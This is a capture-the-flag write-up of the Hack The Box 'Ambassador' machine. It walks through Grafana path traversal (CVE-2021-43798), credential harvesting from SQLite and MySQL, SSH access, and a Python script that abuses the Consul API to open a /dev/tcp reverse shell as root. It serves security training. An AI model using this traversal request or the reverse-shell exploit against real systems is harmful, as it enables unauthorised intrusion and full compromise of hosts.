The box Ambassador was a fun and challenging exercise that involved several steps. It required basic enumeration to identify vulnerabilities, searching for CVEs to exploit, and using the information gathered to gain access to the target machine. The process included retrieving credentials to gain further access and eventually obtaining the credentials for a user to SSH into the machine. Finally, using the git feature to view commits, a token was obtained which was then used to exploit the Consul program to gain root access.

Recon

nmap (TCP all ports)

nmap finds four open TCP ports, SSH (22), HTTP server (80), Grafana (3000) and a mysql DB (3306):

$ nmap -p- 10.129.228.56
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-26 09:48 WET
Nmap scan report for 10.129.228.56
Host is up (0.049s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 31.45 seconds
$

nmap (found TCP ports exploration)

$ nmap -sC -sV -p 22,80,3000,3306                            
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-26 09:50 WET                                          
WARNING: No targets were specified, so 0 hosts scanned.                                                  
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.41 seconds                                           
pengrey@hacky:~/Work/HTB/Machines/Ambassador$ nmap -sC -sV -p 22,80,3000,3306 10.129.228.56              
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-26 09:50 WET                                          
Nmap scan report for 10.129.228.56                                                                       
Host is up (0.046s latency).                                                                             

PORT     STATE SERVICE     VERSION                                                                       
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                                                                                                                                                     
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))                                                                              
|_http-generator: Hugo 0.94.2                                                                                                          
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                           
|_http-title: Ambassador Development Server                                                              
3000/tcp open  ppp?                                                                                      
| fingerprint-strings:                                                                                   
|   FourOhFourRequest:                                                                                   
|     HTTP/1.0 302 Found                                                                                                               
|     Cache-Control: no-cache                                                                                                                                
|     Content-Type: text/html; charset=utf-8                                                                                                                 
|     Expires: -1                                                                                                                                            
|     Location: /login                                                                                   
|     Pragma: no-cache                                                                                                                                       
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax                                               
|     X-Content-Type-Options: nosniff                                                                                                                        
|     X-Frame-Options: deny                                                                              
|     X-Xss-Protection: 1; mode=block                                                                    
|     Date: Mon, 26 Dec 2022 09:51:31 GMT                                                                
|     Content-Length: 29                                                                                 
|     href="/login">Found</a>.                                                                           
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:       
|     HTTP/1.1 400 Bad Request                                                                           
|     Content-Type: text/plain; charset=utf-8                                                                                                                                                
|     Connection: close                                                                                                                                                                      
|     Request                                                                                            
|   GetRequest:                                                                                          
|     HTTP/1.0 302 Found                                                                                 
|     Cache-Control: no-cache                                                                            
|     Content-Type: text/html; charset=utf-8                                                                                                                                                 
|     Expires: -1                                                                                        
|     Location: /login                                                                                   
|     Pragma: no-cache                                                                                   
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax                                        
|     X-Content-Type-Options: nosniff                                                                    
|     X-Frame-Options: deny                                                                              
|     X-Xss-Protection: 1; mode=block                                                                    
|     Date: Mon, 26 Dec 2022 09:51:00 GMT                                                                
|     Content-Length: 29                                                                                 
|     href="/login">Found</a>.                                                                                                         
|   HTTPOptions:                                                                                                                       
|     HTTP/1.0 302 Found                                                                                                               
|     Cache-Control: no-cache                                                                                                          
|     Expires: -1                                                                                                                      
|     Location: /login                                                                                                                                                                                                                      
|     Pragma: no-cache                                                                                                                                                                                                                      
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax                                                                      
|     X-Content-Type-Options: nosniff                                                                                                                        
|     X-Frame-Options: deny                                                                                                            
|     X-Xss-Protection: 1; mode=block                                                                                                                                                                                                       
|     Date: Mon, 26 Dec 2022 09:51:05 GMT                                                                                                                    
|_    Content-Length: 0                                                                                                                                      
3306/tcp open  nagios-nsca Nagios NSCA                                                                                                                       
| mysql-info:                                                                                                                                                
|   Protocol: 10                                                                                                                                                                             
|   Version: 8.0.30-0ubuntu0.20.04.2                                                                                                                         
|   Thread ID: 11                                                                                                                                                                            
|   Capabilities flags: 65535                                                                                                                                                                                                                                                                                              
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, Support41Auth, ODBCClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, LongPassword, FoundRows, LongColumnFlag, SupportsTransactions, SwitchToSSLAfterHandshake, IgnoreSigpipes, InteractiveClient, Speaks41ProtocolOld, SupportsLoadDataLocal, ConnectWithData
base, SupportsCompression, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults                                                                                           
|   Status: Autocommit                                                                                                                                                                       
|   Salt: Akkc\x0DNGU\x19"\x0D\x15n'T c`U+                                                                                                                                                   
|_  Auth Plugin Name: caching_sha2_password                                                                                                                                                  

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                      
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                               
Nmap done: 1 IP address (1 host up) scanned in 97.20 seconds                                                                                                 
$

Grafana - TCP 3000

Enumeration

Retrieve version

We can retrieve the version of Grafana being used by checking through the requests being made when we land on the service being run on port 3000:

{"id":"help","text":"Help","subTitle":"Grafana v8.2.0 (d7f71e9eae)","icon":"question-circle","url":"#","sortWeight":-1200,"hideFromMenu":true}
CVE-2021-43798

We can look for possible CVEs associated with this version. By doing so we can find the following:

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: <grafana_host_url>/public/plugins//, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

Path Traversal

Retrieve Grafana DB

The path traversal vulnerability enables us to access files on the host of the Grafana service. After enumerating the files present, we can retrieve the Grafana database by doing the following:

$ curl -s --path-as-is http://10.129.228.56:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
$

Retrieve mySQL credentials

The Grafana database is a simple SQLite database. We can query it with the help of the tool sqlite-utils. With this we can get the credentials for the MySQL database:

$ sqlite-utils query grafana.db "SELECT * FROM data_source" | jq
[
  {
    "id": 2,
    "org_id": 1,
    "version": 1,
    "type": "mysql",
    "name": "mysql.yaml",
    "access": "proxy",
    "url": "",
    "password": "dontStandSoCloseToMe63221!",
    "user": "grafana",
    "database": "grafana",
    "basic_auth": 0,
    "basic_auth_user": "",
    "basic_auth_password": "",
    "is_default": 0,
    "json_data": {
      "$base64": true,
      "encoded": "e30="
    },
    "created": "2022-09-01 22:43:03",
    "updated": "2022-12-26 09:42:42",
    "with_credentials": 0,
    "secure_json_data": "{}",
    "read_only": 1,
    "uid": "uKewFgM4z"
  }
]
$ 

Credentials found

grafana:dontStandSoCloseToMe63221!

MYSQL - TCP 3306

Login

With the credentials found, we can try to connect to the MySQL database with the help of the mysql tool as follows:

$ mysql -h10.129.228.56 -ugrafana -pdontStandSoCloseToMe63221!
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Retrieve credentials

After successfully connecting to the database, we can query it for possible credentials. By checking the tables present we can see that in the users table for the database whackywidget, there are some credentials present:

mysql> SHOW databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0,06 sec)

mysql> USE whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0,05 sec)

mysql> SELECT * FROM users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,05 sec)

mysql>

Decode Credential

The password in the database doesn’t seem to be a digest of the password. If we look closely, we can see that at the end of the string, there are the characters ==. These are often used as padding for Base64 encoding. We can then decode the password with the help of the tool base64 as follows:

$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468
$ 

Credentials found

developer:anEnglishManInNewYork027468

Shell as developer

SSH as developer

With the credentials found on the MySQL service, we are able to log in as the user developer onto the machine through the SSH service:

$ ssh developer@10.129.228.56
The authenticity of host '10.129.228.56 (10.129.228.56)' can't be established.
ED25519 key fingerprint is SHA256:zXkkXkOCX9Wg6pcH1yaG4zCZd5J25Co9TrlNWyChdZk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.228.56' (ED25519) to the list of known hosts.
developer@10.129.228.56's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 26 Dec 2022 10:27:05 AM UTC

  System load:           0.0
  Usage of /:            80.9% of 5.07GB
  Memory usage:          38%
  Swap usage:            0%
  Processes:             223
  Users logged in:       0
  IPv4 address for eth0: 10.129.228.56
  IPv6 address for eth0: dead:beef::250:56ff:fe96:2d2e


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Sep  2 02:33:30 2022 from 10.10.0.1
developer@ambassador:~$

Shell as Root

my-app directory

Within the directories and the files present on the machine we are able to see that a git repository is present:

developer@ambassador:/opt/my-app$ ll
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 ./
drwxr-xr-x 4 root root 4096 Sep  1 22:13 ../
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git/
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 4 root root 4096 Mar 13  2022 env/
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget/
developer@ambassador:/opt/my-app$ 

git logs

By this being a git repository, we can try to check the commits made and the history of the app development for possible leads or hard-coded credentials:

developer@ambassador:/opt/my-app$ git log --oneline
33a53ef (HEAD -> main) tidy config script
c982db8 config script
8dce657 created project with django CLI
4b8597b .gitignore
developer@ambassador:/opt/my-app$ 

Changes made

By checking one of the states present on the history of the app we are presented with the following:

developer@ambassador:/opt/my-app$ git show 33a53ef
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$ 
Token found

Within the code there was a token for access to the Consul application:

Token:bb03b43b-1d81-d62b-24b5-39540ee469b5

Consul application

The server seems to be running the Consul application.

RCE through the Consul API

By searching on the internet about possible vulnerabilities present we can find this blogpost, we are presented with a way to obtain remote code execution (RCE) via Services API.

Exploit code

We can, with the blog in mind and this Metasploit module, create a script that would allow us to obtain a reverse shell onto the machine:

#!/usr/bin/python3
import requests

LHOST = "IP"
LPORT = "9001"
TOKEN = "bb03b43b-1d81-d62b-24b5-39540ee469b5"

target = f"http://127.0.0.1:8500/v1/agent/service/register"

headers = {"X-Consul-Token": f"{TOKEN}"}

json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "pengrey", "Name": "pengrey", "Port": 80}
requests.put(target, headers=headers, json=json, verify=False)

RCE through the Consul API

Finally we can execute the custom script:

developer@ambassador:/tmp$ python3 exploit.py 
developer@ambassador:/tmp$ 
```bash

And by listening on the specified port we can obtain a shell as root:
```bash
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.228.56 40012
bash: cannot set terminal process group (27250): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ambassador:/#